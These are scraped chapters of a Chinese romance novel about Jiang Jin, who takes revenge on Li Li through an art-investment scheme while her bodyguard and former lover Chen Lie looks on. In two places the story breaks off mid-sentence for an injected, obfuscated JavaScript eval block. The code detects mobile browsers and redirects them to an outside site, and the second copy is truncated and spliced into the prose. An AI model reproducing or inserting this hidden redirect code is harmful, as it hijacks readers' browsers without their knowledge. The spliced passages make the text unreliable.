她与设计师低声解释了两句什么,向酒吧外走去。 李黎一愣,快步追上她。 姜堇走进雨幕,陈列撑开劳斯莱斯取下的巨大黑伞挡在她头顶。他这才留意到她今天穿一身黑,开司米山羊绒高领薄毛衫裹着她天鹅般的颈项,配一条墨色阔腿西裤,鞋跟很高。 李黎手里的伞几乎已被狂风吹坏,她追姜堇追得急,索性把伞抛了。 她声音发着抖,在暴雨中淋得透湿:“姜小姐,我拜托你,把那笔款项撤回来。我赔不起,那不仅是我的全副身家,还有我爸医院的绝大部分资产……” 陈列望着伞外如注的雨丝,细密银线般一串串,几乎成为姜堇那张瑰丽脸庞的奇异妆点。 他觉得姜堇玩弄李黎,似猫玩弄一只老鼠。 抛一抛,揉一揉,什么时候吞入腹中全凭她的心意。她甚至有闲暇等到一个暴雨天,因为七年前她曾在同样一个暴雨天苦苦哀求李黎。 姜堇温声对李黎解释:“李小姐,在我们第一次合作时我早已提醒你,艺术品投资有风险。” “可你不是珠宝设计师吗?你不是很了解这个行业吗?” 姜堇笑了:“了解归了解,可李小姐,我是人,不是神明。” “这次不行……那是我爸一辈子拼下的资产,他……他……” 姜堇劝慰:“既然你父亲愿拿钱给你投资,以他的社会阅历,自然知道投资有风险。你们是亲父女,只要你好好跟他解释……” 李黎一咬牙:“不是他投资,是我挪用公款。” 姜堇很轻地挑了挑唇角。 她早就知道,陈列想。 他沉默地撑着那把巨大坚固的黑伞,站成姜堇身边的保护神,愈发衬出李黎的狼狈。 姜堇:“我没有办法,拍卖的法则就是这样。” “你有办法,你一定有办法。”李黎慌神到眼神都显空洞:“姜小姐,你神通广大,我们认识那么久……” “认识已久的人,就一定会对你好么?” 李黎愣了,她失神地张着唇,雨水汩汩地灌进去。她呼吸急促地呛了口雨水,又一阵猛咳。 她这才发现姜堇今晚的妆面比平日浓很多,罕见的蓝调丝绒红唇,衬墨黑眼线,浓密的乌发披散挡住两边侧颊。 浓颜得近乎妖异,好似希腊神话里的美杜莎。 李黎慌不择路抓住她手腕:“姜小姐,我求你,我爸的医院不能垮,他救死扶伤,他宅心仁厚……” 姜堇看向她指间的雨水染在自己奢贵的山羊绒上,轻啧一声,开口唤:“陈先生。” 陈列:“李小姐,请你放手。” “姜小姐……姜小姐……”李黎死死攥着。 陈列声调是素来的沉冷,太有威慑力:“如果你再不放手,我合理怀疑你威胁姜小姐人生安全。” 李黎终是落魄地放了手。 姜黎带着淡笑往等着她的劳斯莱斯走去。 扑通一声。 姜堇没有回头,唇角往上挑—— 她太熟悉这样的声音了,在雨中放弃所有尊严下跪的声音。七年前这样的声音,是在她膝下发出的,一跪跪碎了自己所有的尊严。 她终是回过头来。 墨发红唇,在浓黑的暴雨中更显妖异。 她一步步走到李黎身边,食指轻挑起李黎的下巴。李黎始终失神地张着唇,随着姜堇的动作,更多的雨水灌入她唇间。 “谁说你爸是医生,就一定救死扶伤、宅心仁厚?”姜堇轻声细语地问。 “你不了解我爸,姜小姐,你要是了解……”李黎又被雨水呛出一阵猛咳。 “谁说我不了解?”姜堇轻拍拍李黎的侧颊,无限怜爱似的:“啧,我不是早就说了吗?” 她贴近李黎的耳畔:“我们之间的缘分,可深得很呢。” 李黎愣愣的,根本反应不过来她这句话的意思。 姜堇已转身往劳斯莱斯走去,李黎几乎是在泥地上跪挪几步:“姜小姐我求你发发善心……” 姜堇转过身,竖起纤白的食指,贴在烈烈红唇边:“嘘。” 她笑得妖冶又冷漠。 李黎绝望地看着,终是跌坐在原地挪不动了——她说她是人而非神,可这一刻的她如此遥不可及。 姜堇往劳斯莱斯走着,大抵暴雨掩盖了她身上窃听器的声音。她忽地压低声问陈列:“知道我为什么一定要找你当保镖吗?” “陈列,”她凄艳地笑着:“我一定得让你看见这一幕。” 陈列:“你母亲怎么样了?” 姜堇:“我还以为你永远不会开口问呢。” 两人的对话进行到这里,都没有再说下去。 姜堇登上车,靠着车窗阖上眼。今夜的雨终究下得太大了,陈列给她撑了一路的伞,终也抵不住她丝丝缕缕的发被雨气濡湿。 她始终阖眸靠着车窗,对面驶来的车灯一闪,她很轻地皱眉。陈列想起七年前,也是这样一个暴雨夜,他赶来接到刚刚对李黎下跪的她,这件事还是在她发烧时神志不清的呓语里得知的。 陈列死死抱着她,感受着她在自己怀里瘫软下去,她刚刚嚎哭着尖叫,好似被抽干了所有的生命力。 “阿堇。”陈列用尽全力搂着怀里的她、让她不至像摊烂泥一般滑落到地上去。他吻她湿透的长发,一遍遍的,以自己的体温渡她:“阿堇,我接住你。” 现在七年过去了,她在他身边睡着,微蹙的眉显露疲惫。 他恨极她。 可这一刻,无可抵挡的,他想抚一抚她湿漉漉的长发。 “阿堇。” 这样一声称呼只在心里盘旋一圈。陈列自嘲地笑着,往窗外望去——他现在只能尊称她“姜小姐”,甚至连睁眼看她的资格都没有。 姜堇便是在这时张开眼来。 靠在车窗上没有动,望着陈列转向另一边的侧颊。 路旁的霓虹太刺眼,让她看不清他此刻面上的神色。 姜堇什么都没说,静静地阖上眼去。 - 姜堇要飞往加拿大公干,滕柏仁在江城脱不开身,指名陈列随行。 滕柏仁笑着同陈列说:“不如你穿风衣?” 陈列不明就里。 滕柏仁:“多像拍电影海报,嗯?” 陈列仍是不明白,微蹙了下眉,滕柏仁已操控着轮椅远去了。 去机场的路上,劳斯莱斯路过李教授的医院,姜堇静静靠着椅背看了眼。 几名工人正把充作抵押资产的桌椅电脑往医院外般,停业的告示已挂出来,曾今金光熠熠的“仁爱医院”几个金属大字,在秋日阳光下泛着灰淡的光。 姜堇阖上眼。 只是纤细的指尖在真皮座椅上轻轻敲击着。 哒哒,哒哒。 姜堇这次赴加,是替滕氏参加一个慈善活动。走进魁北克北部的纽因特人,用雪橇犬自然掉落的毛发生出一些艺术作品,由各大家族花巨资买下,筹款用以改善原住民的生活。 事后,各位企业家慈善家组织去一处疗养院参观。 这里荒无人烟,白雪皑皑,因而格外清静。陈列跟在姜堇身后,看姜堇温声细语一位位问候过去,这里大多住一些心理疾病患者,远离人烟亲近自然,利于他们情绪的恢复。 忽地陈列眸光一凝。 他看到一个华人老太太。 他起先怀疑自己看错,直到那人突然娴熟地耍了个侧单指,哑着嗓子唱:“袅晴丝吹来闲庭院,摇漾春如线……” 她老了许多,可看起来还康健。 姜堇已随众人往床畔走去,执起白柳絮的手,温声唤她:“白女士。” 陈列一时不知白柳絮看见姜堇,会不会突地暴起情绪。 却见白柳絮被姜堇握着,呆呆瞧她半晌,忽地腼腆笑了:“啊呀,雪照小姐,好久不见。” 对她有种客气的疏离。 旁边一位英国企业家问:“怎么,Ms.Chiang认识?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15639432|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一位加国本地女企业家解释:“你有所不知,我们的慈善活动办了好几届,姜小姐年年都来,有时一年几次,不知为我们做多大贡献。” 陈列不知心中作何感想—— 母女俩终于能和谐相处,代价是白柳絮从此把姜堇当成陌生人。 现在的姜堇已经太矜贵了,她不能再把姜堇当成年轻时落魄的她,只能当成她有些怕怕的“雪照小姐”。 恰是护士进来送午餐的时候。 姜堇笑问白柳絮:“我喂你吃,好吗?” 她姓姜,白柳絮姓白,加之白柳絮手术后陡然老去的容颜,和她精致的妆容再无几分相像,无人把她们联想在一起。 白柳絮立即摇头。 目光在人群中怯怯地游走一会儿,忽然看到姜堇身后的陈列。 她的眼神先是一瞬畏惧而迷茫——这男人个子高,宽肩,寸头,有些凶相,浑身肌肉紧致,会不会打她? 陈列心想,白柳絮手术后好似更迷糊了些,她认不出他了。 没想到,这时白柳絮颤巍巍扬起一只手来,指了指他。 “陈列。”她暗哑的喉咙里因有痰丝丝作响,可她叫他:“陈列。” 陈列心里陡然一酸。 她竟还认得他。 旁的人都听不懂中文,有人问姜堇:“她说什么?” 姜堇的唇瓣颤了两颤。 良久,她浅吸了口气,开口时声线平静含笑:“她在说一个中文词汇,意思是display。” “可她为什么要指着姜小姐的保镖说这个?” “谁知道,大抵病人的思绪都混乱……” 众人已准备往病房外走去。 白柳絮犹然指着陈列:“陈列,喂我。” 姜堇的眸子垂了垂。 再抬起来时,冲陈列笑道:“看来你俩有缘,你就留下来喂她吧,一会儿再随我走。” “可……” “不打紧,这么多保镖跟着,疗养院也做过全面的安全排查了。” 陈列终是在病房里留了下来。 疗养院看起来条件很好,分国籍给病人提供习惯的吃食。白柳絮今日午餐吃凉瓜炒牛肉,素烧豆腐,外加一盅嫩嫩的蒸蛋。 白柳絮指着蒸蛋要吃,陈列喂她,却又从她嘴角滑落出来。 陈列拿纸巾给她擦净,她把嘴里的蒸蛋混着米饭囫囵吞了,含糊不清地问陈列:“阿堇……阿堇去哪里了啊,陈列?” 姜堇已随慈善团走到病房门口,依稀听到这句,脚步猛然一顿。 听得陈列在病床畔低声答:“我也不知道。” “我也不知道她去哪了。” - 参观完疗养院,一天的行程宣告终结。 陈列跟车送姜堇回酒店,路过知名的水晶瀑布,姜堇有兴趣下车去参观。 司机提醒:“冷得很。” 这位东方女性看起来单薄纤弱。 姜堇笑道:“不妨事。” 她穿皮毛一体的大衣,脸不过巴掌大,狐毫围巾几乎掩住小半张面孔。她索性把唇鼻埋进狐毫间,像在贪婪吸取车里带下来的暖空气。 瀑布旁银装素裹,可八十余公尺的瀑布仍有巨龙灌天之势。 姜堇站在瀑布下沉默仰头看着,身形显得格外渺小。 陈列站在她侧后一步的位置,仍能感到冰冷的水珠如针、几乎是刺到自己的皮肤上。姜堇却一步也没推,就那样静静看着。 陈列根本不知滕柏仁的窃听器装在何处。就算是在姜堇身上,轰鸣巨响也足以掩盖一切对谈。 姜堇开口说:“谢谢。” 她没有回头。也没有解释为何道谢。 陈列看着她背影。她现在的妆面太精致,看背影反倒更接近十八岁的她。 陈列:“谁给你妈妈做的手术?” 姜堇望着那瀑布良久。 当陈列以为她不会回答了,她的声音低低传来:“当年我加入了一个援助非洲的组织,里面有位很厉害的国际援助医生。” 陈列沉默地点点头。 几分钟后,又才问:“跟滕柏仁呢,怎么认识的?” 他们重逢后的季节已从夏走到冬了,他们才在这异国瀑布下,有了这样一番对谈。 姜堇挑唇:“说来好笑得很,你一定不知道滕柏仁是在哪里看到我的,当年我去那场化妆舞会找姜启川跳探戈,滕柏仁也在。” 陈列深深记得七年前的那一曲。 姜堇那时瘦得惊人,黑裙红唇,眼底泛着灼灼的光,如湖畔燃尽了所有生命力的垂死天鹅。 只要看过她那一舞的人,没人会不为那份凄艳动容。 姜堇笑得更厉害:“后来又在非洲遇见我,晒得黝黑,他说那时的我像猴子。” 陈列简直不知听她用这般语气谈及另一个男人,心中是何感想。 他听见自己的声音说:“你觉得值得就好。” 姜堇又是望着那瀑布良久。 “嗯。”她轻轻地说。 一颗冰凉的水珠打落在姜堇眼下,姜堇抬手抚了抚,看着自己的指腹,突然荒唐地挑唇——这样的触感多像眼泪,而她多久没哭过了? 陈列在她身后:“姜雪照。” 她的睫毛轻翕了下。 陈列:“你为什么总想激怒我?” 姜堇对着瀑布伸出手去。 夕阳照落在瀑布上,泛起的光雾好似彩虹。从前她和陈列坐在公交车上,她也总这样对着窗外伸出手去,像要捞住风、捞住夕阳、捞住一点生活的色彩。 瀑布坠落震着地面都轻晃,宛若当年摇摇晃晃的公交车和旧船舱。 姜堇轻声回答他:“我情愿你恨我,也好过你漠视我。至少,恨也是一种很强烈的感情。” 陈列:“等你做完想做的一切。” 姜堇等着他说完。 陈列:“就放我走吧。” 姜堇终是转过身来,夕阳和瀑布溅起的水雾模糊了她脸上的妆容,让她看起来宛若七年前。 她说:“你肯为我挡子弹,我还以为你仍愿意为我去死。” “我可以死。”陈列说:“可我不想跟你一起活在同个屋檐下。” 55. 底色 回国的时候滕柏仁来接机。 姜堇笑着朝他走去,惯例把手虚虚搭在他肩膀上。 陈列垂眸看一眼她过分纤白的手腕,白腻得像能照透破旧船舱一抹冻过的月光。从前两人在船舱里痴缠,姜堇的手紧紧攀着他后颈,陈列便觉得像一抹月光缠住了他,过分纯白,反而能勾起人心底最罪孽的渴望。 陈列收回视线去。 姜堇在参与各项活动之余,抽了很多的时间完成自己下一件作品。 陈列跟在她身边,听无数贵妇说过她作品是如何值钱,心里是没有实感的。 那些净度高得宛若虚假的宝石,离他的生活太远了。 姜堇在工作忙碌时,大多数时候是滕柏仁陪在她身边。滕柏仁不在的时候,陈列得以进入。 从前陈列看不出那拼凑在一起的红与白碎钻意味着什么,这次隔了很久来看,姜堇有了进度。他逐渐看出,这好像是一个女人的头像。 白色碎钻是她冷霜般的肌肤。红色碎钻拼成她烈烈灼烧的张扬卷饭。 姜堇拼着钻石,忽地抬起头来笑问陈列:“知不知道这是什么?” 又低下头去,似自言自语:“是一枚胸针。我回到江城的那一天开始做的。” 滕先生滕太太从澳洲回港岛前,绕路来了趟江城。 滕太握着姜堇的手:“上次公海上的事,多危险!” 姜堇挑一挑唇:“还好我走运。” 滕柏仁在旁边喝一盏陈皮茶,入冬了,一条厚重的开司米羊绒毯盖在他膝头,因肌肉略为萎缩显得毯子下空荡荡的。 陈列站在姜堇身后,揣度着:他到底知道吗? 知道滕氏做生意得罪的人早有埋伏?知道姜堇有可能是去送死? 滕太掏出一个看起来有些年头的红丝绒盒子,打开来,是一枚款式老旧的金戒指。 笑推给姜堇:“你说说,你对柏仁到底是什么感情啊?” 陈列站着,戒面反射着水晶灯熠熠的灯光刺着他的眼。 他喉结轻滚了下,心想:他要听到姜堇说那声“喜欢”了,说她对另一个男人的喜欢。 甚至是——“爱”。 陈列阖了阖眼,望着姜堇的背影。 七年前,他也是望着姜堇的背影一路往那教堂般高耸的门扉狂奔而去,漫天鸵鸟羽毛的绒毛如雪簌簌而落,他忍不住对姜堇的背影伸出手去,想要抓住些什么似的,指间却唯有空荡荡的风。 姜堇一次也没有回头。 “爱”。 陈列的喉头又轻滚了下。他觉得自己还是太自大了些,为什么要说留下直至姜堇完成她想做的事呢? 如若他不是保镖,他一定掉头离去。 姜堇执起那小小红色丝绒盒,微一偏头,似在欣赏。接着笑问滕柏仁:“我们之间是一种什么样的感情呢?” 滕柏仁勾了勾唇角,咽下一口陈皮茶,把话题带到江城的项目上去。 姜堇某次去会所参与聚会,出来时一边接电话,一边展臂套上侍者给她拿来的墨色山羊绒大衣。 踩着高跟鞋匆匆往外走去。 风旋着漫天的枯叶,这时节的江城风阴湿得往人骨头缝里钻,陈列以往这时节姜堇蹲在甲板洗衣服,手会生很多的冻疮。到了现在,她从温暖的会所钻入暖气馨芬的豪车,大衣下光洁的双腿连双薄丝袜都不必穿。 其实不穿丝袜有些不符合这阶层的社交礼仪。 譬如滕太,大夏天露面也穿着规整的丝袜。 姜堇身上总好似还残留着三分野性。比如她拿三块钱的笔盘头发,比如她大口吞咽,比如她在狂风中露出光洁的脚腕。 会所外等着个意想不到的人。 姜堇打着电话被陈列拉了一下手腕,抬眸去看的时候陈列已挡在她身前。 她循着陈列视线看过去的同时挂断电话。那是李黎,扑通一声给姜堇跪下了:“姜小姐,你就当你发善心,可怜可怜我。” 姜堇笑得礼貌又疏离,讲粤语:“李小姐,交情归交情,生意归生意。” 踩着高跟鞋,由陈列护送着往劳斯莱斯走去。 李黎忽地站起来,冲过来就要来拽姜堇头发。陈列挡开她,姜堇退后一步,隔着陈列健硕的臂膀冷冷静静笑看着李黎。 陈列有时觉得她的眼神,像隔着安全玻璃看动物园里一只发狂的猩猩。 李黎歇斯底里地喊:“讲什么粤语啊!装什么啊!你是姜堇对吧?我早该揭穿你的老底了!” 姜堇还是那样笑着,不承认,也不否认。 反而仰头看了眼旁边的路灯,悠悠闲闲的。 李黎指着她鼻子骂:“你真以为有什么麻雀变凤凰这种好事吗?你就是故意骗我的钱!我们家就这么垮了的话你也别想好过!你不怕我去滕二少面前揭穿你吗?当年在所有同学面前扒光你的经历,你还想再来一次吗?!” 姜堇很轻地蜷了下手指。 “扒光”这个词到底还是微微触痛了她,那一次的经历太刻骨铭心了。 陈列忽然想到,姜堇或许知道她今日的行踪会被谁透露给李黎。 因为姜堇很少穿黑,今天她却穿黑。 一如她对李黎收网的那天,她也穿黑。 这是一场盛大的献祭,祭奠她曾被李黎斩碎成残渣的自尊。 漫天的狂风卷着落叶旋着她长风往风中乱舞,很像她拿碎钻拼成的胸针形状。 她优雅地挑着唇角,依然讲粤语:“李小姐,我听唔明你喺度讲乜。” 然后叫陈列:“走。” 上车后她如滕柏仁一般,拿条开司米羊绒毯覆住光洁的双腿,望着窗外一盏盏掠过的路灯。 陈列不知这一刻的她在想些什么。 其实李黎说得对。李黎找来会所而没去酒店,就是给姜堇一个信号:如果姜堇肯替她赔钱的话,她会对姜堇的真实身份睁一只眼闭一只眼。 如果李黎真闹到滕二少面前,以滕氏的能力要查姜堇的过去,实在太容易了些。姜堇打算如何应对? 其实陈列觉得以姜堇的手段,要收拾李黎,大可以做得更利落些,不要给李黎留下威胁她的机会。 可是为什么? 陈列很轻地睨一眼姜堇的侧颜。每每她这样坐在车中望着窗外路灯,闪烁的梦幻的变幻不定的光影挂住她睫毛,陈列又想起刚刚她被李黎威胁时看向路灯的那一眼。 姜堇很敏锐地回看过来:“嗯?” “没什么。”陈列收回视线。 他只是忽然联想起一个成语:飞蛾扑火。 姜堇像毛毛虫费尽心机长出翅膀,却又在靠近灯火的一刻,似是故意让自己的双翅被灯火灼伤,好让人认出她曾经毛毛虫的身份。 姜堇说:“我明天约了个人,烦你陪我去一趟。” 陈列没想到姜堇约的人是姜启川。 两人在一个会所的咖啡廊见。 姜启川笑得得体:“姜小姐。”目光却如鹰隼般停在姜堇脸上。 “姜先生。”姜堇从来都是一派从容,纤白指尖翻阅着餐单:“听说这里的红茶和栗子蛋糕很不错。” 姜启川的视线落在她手指。 他记得多年前姜堇来找他,一张脸那样艳绝,唯独一双手,骨节略为粗大,且肤色不匀,以他经商毒辣的眼光,一眼就看出那是一双底层辛苦磨砺过的手。 他略烦躁地啧一声。 他一度也爱上过这样一个底层的女人,现在想来真是疯了,回首往事只觉得她虚荣而粗劣不堪,要是当时真因她怀孕而为她悔婚,姜启川觉得自己现在懊恼得会想跳江。 看见姜堇,他就想起自己那段荒唐岁月,心里一片烦躁。 可现在眼前这位姜雪照小姐的手,白皙,纤细,肉腻。 那是一双未经岁月搓磨过的、养尊处优的手。 姜堇今日是代表滕家来与姜启川谈生意的。以姜启川目前的级别,他自己还够不上这样的项目,因而显得很感兴趣。 陈列站在姜堇身后,时刻保持警惕观察着周围环境。 忽地落地玻璃边一个阴寒人影,似白日出现的伥鬼。 是李黎。 陈列发现,原来一个人的确可以在短短几天内瘦得这样厉害。 李黎的双颊深深凹陷下去,一如七年前的姜堇。 她开始拍打落地玻璃,啪啪啪,啪啪啪。 姜堇抿一口热红茶,唇角带笑地望出去。 李黎还在面无表情拍那面落地窗,啪啪啪,啪啪啪。 当姜启川也看出去的时候,她用嘴形对姜启川说:“出来。” 姜启川的视线定了一定,旋又回转到姜堇那张气定神闲的脸上:“姜小姐,你请继续。” 姜堇提出的项目,对他诱惑太大。 李黎被匆匆赶出去的保安带走。 姜堇今天只做了简略介绍,承诺把项目书回头发他,便称不好意思要先告辞。 姜堇笑道:“要去见滕家的几个小辈,她们一家三个姊妹来江城玩。姜先生那么你呢?家中几个孩子?” 姜启超答:“两个。一个女儿刚好十八,另有一个儿子。” 姜堇笑了,指尖在红茶的瓷碟边轻轻一敲。 “好得很。”她说。 姜启川见完姜堇又赶回公司加班,好容易回到家已值深夜十一点。他扯开领带瘫坐在沙发上喘一口气,姜太太趿着拖鞋走来,脸上的神情略为犹豫。 “有什么就说。”姜启川没有废话的精力。 姜太太:“今天黎黎来找我了。她说……” 姜启川阴鸷地一挑唇:“说姜雪照就是当年的姜堇?” 姜太太沉默不语。 “她当然这么说。”姜启川:“她在姜雪照那里做艺术品投资,把她爸的医院都赔进去。她自然不觉得是自己蠢,而是觉得有人处心积虑地想害她。” 姜太太:“你觉得她有被害妄想症?” “你呢?”姜启川抬眸看向妻子:“你怎么看?不是都说女人的直觉比较准?” “我……”姜太太略迟疑道:“我不确定。我只是觉得,姜雪照小姐的下半张脸,看起来与姜堇没那么相像。” “你多跟她接触接触吧。”姜启川扯掉领带扔到沙发上:“我现在跟她谈生意,她少不得要请你去一些聚会,你多观察观察她。” 姜太太一抿唇。 姜启川烦躁起来:“别那么内向了。这么多年我打理你娘家的生意,你到底有什么助力?大门不出二门不迈的,只躲在家里带孩子,上次要你去交际几个官员太太,你也是三推四推。” 翌日,姜启川办公室内。 百叶帘紧闭着,坐在里面的人竟是李黎。 “那就是姜堇。”李黎言之凿凿:“我很确定。” “你怎么确定?” “我……”李黎目光变得怨毒起来:“姜叔叔你是看着我长大的,你要是不信我的话,难保有天像我们家一样被她吃得骨头渣子都不剩。” “我是个生意人。”姜启川给李黎和他自己各斟一小盏白茶:“生意人什么都讲求证据。你要是有实打实的证据,我再投资一次你爸的医院,也未尝不可。” 陈列在楼下员工餐厅吃饭时,接到龚哲电话。 “喂。” “陈列,滕先生有寄送品马上送到酒店,你去前台取过再上楼。” “好。” 陈列吃过饭去前台。 团队里有负责后勤的女同事们,看着他背影窃窃私语地笑。 其他保镖不满,牙签剔着牙语气带酸:“他这种人很可怕的,看着身材好肌肉线条漂亮,其实天天吃鸡胸肉西兰花,这么寡,难保不性功能障碍。” “呸呸呸!我们哪里在说他这个了!”年轻女同事的脸都涨红了。 陈列去前台取过,是一只手臂长的修长盒子,那一个同样墨黑的挺刮纸袋装着,精致的烫银logo,是陈列不认识的品牌。 他拎着纸袋上楼。 电梯内刚好碰见吃完晚餐的两个女同事。 陈列穿着黑色西裤一双腿修长得过分,配细细圆股鞋带的英伦皮鞋,走起路来有种大刀阔斧的洒脱。 他站在电梯里,笔挺身形倒映在金属门上,抬起仰望楼层数字的下颌线流畅,拉出锋利性感的喉结。 女同事实在没忍住瞥一眼他西装下平整的西裤某部位。 说这种人性功能障碍什么的…… 当陈列视线扫过去,刚好电梯叮一声到了她们所住的楼层,她们脸红到耳朵根忙不迭地跑了。 陈列:……? 他拎着纸盒继续乘电梯而上,去顶层总统套房。 滕柏仁坐着轮椅在景观窗边,姜堇立在他身旁。今年的江城冷得像七年前遭遇寒冬的那一年,圣诞将至,下起雪来。 姜堇不知和滕柏仁在聊些什么,看她侧颜在笑。 陈列拎着纸盒走近。 “取到了?”滕柏仁转过头来,姜堇看过来的眼神尚带没褪的笑意。 陈列不看她,将纸袋放到沙发上。 滕柏仁告诉姜堇:“送你的。” “是什么?”姜堇笑着便要往沙发走去。 滕柏仁展臂拦住她,叫陈列:“打开。” 陈列沉默不语。姜堇看他一眼,又看向滕柏仁,刚要说话。 滕柏仁沉声:“打开。” 陈列将那硕大的纸盒从袋内取出,放到沙发上。银白丝带系着,呼应盒盖上精致的烫银logo。 陈列将盒盖打开,发现里面是一条丝缎睡裙。 看款式谈不上暴露,像中世纪的英伦皇室风。 主要是那颜色。 是一种极之淡而姣妍的粉,在灯光下看来一不留神,就会觉得它与白色无异。非得要仔细盯着瞧,才发现那其实不是白,说得色情些,那种粉是□□情到深处、女人皮肤会呈出的一种颜色。 让人想起女人仰起的颈线。 如桥一般拱起的纤细腰肢。 抠紧了微挂住床单贝母一样的脚趾。 偏偏这条睡裙又是这般保守的款式,剧烈的反差更增添了人对它的遐想空间。它被展开来放在一只无比矜贵的纸盒里,一折也没折,生怕那过分娇气的料子生出一丝褶皱。 “呵。”姜堇这样叹了声。 滕柏仁唤姜堇:“回卧室去吧。” 姜堇便先向沙发走过来,垂眸看着纸盒里的丝缎睡裙。也许有那么一瞬间她的视线漏下去,看着沙发边陈列的皮鞋不着痕迹地挪了挪。 姜堇刚要抱起那纸盒。 “盒子脏。”滕柏仁在窗边开口:“拿睡裙就好。陈列,你递给她。” 姜堇和陈列的动作都有一瞬顿滞。 姜堇为抱起沙发上的纸盒与陈列站得近。两人都垂眸的瞬间,她能闻见他吐息里属于年轻健硕男人的灼热,而他闻见她呼吸很轻,有淡淡茉莉香,好像她七年前洗发水的味道。 姜堇的唇很轻微地动了动,以滕柏仁几不可闻的语调叫陈列:“给我。” 陈列终是从纸盒里拿起那条睡裙。 姜堇从他指间一扯,将睡裙搭在自己臂弯里,转身去推滕柏仁的轮椅,回卧室去了。 路过陈列身边时,滕柏仁瞟了陈列一眼,那目光说不上是极幽深,还是淡淡浅的不经意。 - 陈列又对房间进行睡前例行的安全检查后,回到暗室。 去冲澡时他把水温开得低,回到床上躺下。 这床对他的身形来说着实有点窄了,他就那样直挺挺躺着,一只手臂打横搭在额头上,睁着眼。 通常他是听不到主卧声音的,这天晚上,却始终有隐约动静传来。 隔着厚厚的防火防弹墙,听不清,像女人的声音。 陈列蹙着眉,转个身面对着墙面。 他不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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姜堇新一轮的出差是去瑞典北部。 出发前她去见了一次姜启川,两人略谈一谈姜堇发过去的项目计划书。姜启川笑道:“姜小姐不介意的话,我太太想请你喝下午茶。” “自然。”姜堇笑道。 姜太太携女儿在楼下等。 姜堇走过去,那十八岁尚值叛逆期的女孩大嚼口香糖,肆无忌惮地打量陈列。 姜堇回想起她和陈列在商场偶遇姜启川一家的那次。 小女孩那时不过十岁出头,现在都长得这么大了。 姜太太招呼她:“姜小姐。” 上次聚会姜堇已瞧出,这位姜太太内向而不擅交际,这次被丈夫逼着约她,还拉了女儿来撑场面。 一行三人坐在咖啡馆,陈列站在姜堇侧后。 姜太太女儿说起话来没遮拦:“姜小姐,你保镖挺帅的喔。” “是吗?”姜堇笑着回应。 “嗨。”女孩嚼着口香糖对陈列一扬下巴:“有没有女朋友?” 陈列目视前方,不答她的话。 “这么严肃……”女孩碎碎嘟囔,在陈列周身上下打量一圈,定格在他西裤上:“你这么一本正经的,不会还是处男把吧?” “咳咳!”姜太太一口红茶差点没呛出来,直拍女儿的胳膊:“你几岁了还这么口无遮拦的?小心到时候嫁不出去!” 女孩满不在乎:“我为什么一定要嫁出去?” 姜太太对姜堇赔笑:“不好意思姜小姐,我这女儿太闹腾。最近又一时兴起想去整什么容,我不同意,她就方方面面给我添堵。” 这倒提醒了女孩,问姜堇:“你整过容么?” 姜太太几乎要叫出声了:“不许对姜小姐这么没礼貌!” 姜堇挑唇问:“为什么想整容?” “我是单眼皮,鼻梁也有些塌。”女孩戳着华夫饼满不在意地说:“谁不想拥有漂亮的一张脸?你看看大街上的整容医院里,挤多少年轻女孩儿。” 女儿说这些话的时候,姜太太悄然打量姜堇。 她并没忘了丈夫的嘱托。 七年前的姜堇那张脸太惊艳,她只见过一次却也牢牢记在脑子里。世界上真会有如此相像的两个人吗?她细细打量对面的姜堇。 秀挺的鼻梁,浅棕的瞳。唇如点丹,并且那已是拿大地色唇膏压低了饱和度的唇色。 最绝是她那一身冷白皮,似最细腻的牛奶冻过的颜色。 还有她那一双手。 姜太太又垂眸去看姜堇的那一双手,纤纤巧巧的。她丈夫提过好几次,那是一双没有受过苦的手。 不是,姜太太自己心里始终觉得,眼前的雪照小姐并不是当年的姜堇。 当年的姜堇受过苦,有着过分愤怒的一双眼。 “是,整容医院里挤满了人。”姜堇笑抿着红茶与姜太太女儿闲聊:“好像人人都觉得,那一张脸是最重要的。” 女孩问:“你不这么觉得吗?” 姜堇摇头:“不。其实出卖一个人底色的,永远不是那一张脸,而是更隐蔽的细节。” 女孩一撇嘴:“那是你本来就长得漂亮,站着说话不腰疼。” 姜堇但笑不语。 告别的时候,女孩还盯着陈列不放:“你到底喜欢什么类型的?你是不是什么经验都没有?啧啧,你都这么老了。不过我不嫌弃,我教你啊?” 被姜太太一把拖走。 辞别姜太太母女,姜堇乘上劳斯莱斯,来到一座高端私密的整形医院。 有客服引她去私密度极高的VIP诊室。 诊室里坐着位棕发蓝眼的女人,医生打扮。 “嗨,Doc.Hüller。”姜堇笑着与她打招呼。 说的肯定不是英语,应该是德语。 女人笑着回应姜堇:“在这里看诊,只能借我们联盟医院的诊室了。” 姜堇:“难得你来中国巡诊,不用我再飞趟国外。” 姜堇展开自己的一双手给她瞧。 医生细细看了,又捏了捏。她说了些什么陈列听不懂,只是有护士来引姜堇往做治疗的诊室里去。 姜堇出来的时候笑吟吟的。她那一张脸的确没动过刀,完美无瑕。 乘上劳斯莱斯,她在暖气充盈的车厢内轻轻揉捏自己的手指。 上面有细微针孔的痕迹。 谁能想到姜堇整容的地方,是她自己那一双手呢?她不知吃了多少苦头又定期护理,才拥有现在这样“完美”的一双手。 窗外的雪越飘越大,姜堇望着窗外,思绪似飘到了很远的地方,手不自觉往指节处揉按。 那里并没有针眼。 或许只有陈列知道,那是她七年前生过冻疮的地方。七年前的寒冬女孩蹲在甲板上洗衣服,手指和鼻头都冻得通红。 陈列给她买过一只冻疮膏。不知为何,关于姜堇的很多事他都刻意在脑中模糊了,那只冻疮膏的价格他却记得很清楚,四块八。 姜堇望着窗外的雪,忽地挑一挑唇。 “陈生。”她用粤语唤陈列,接下来的一句却又换成普通话。 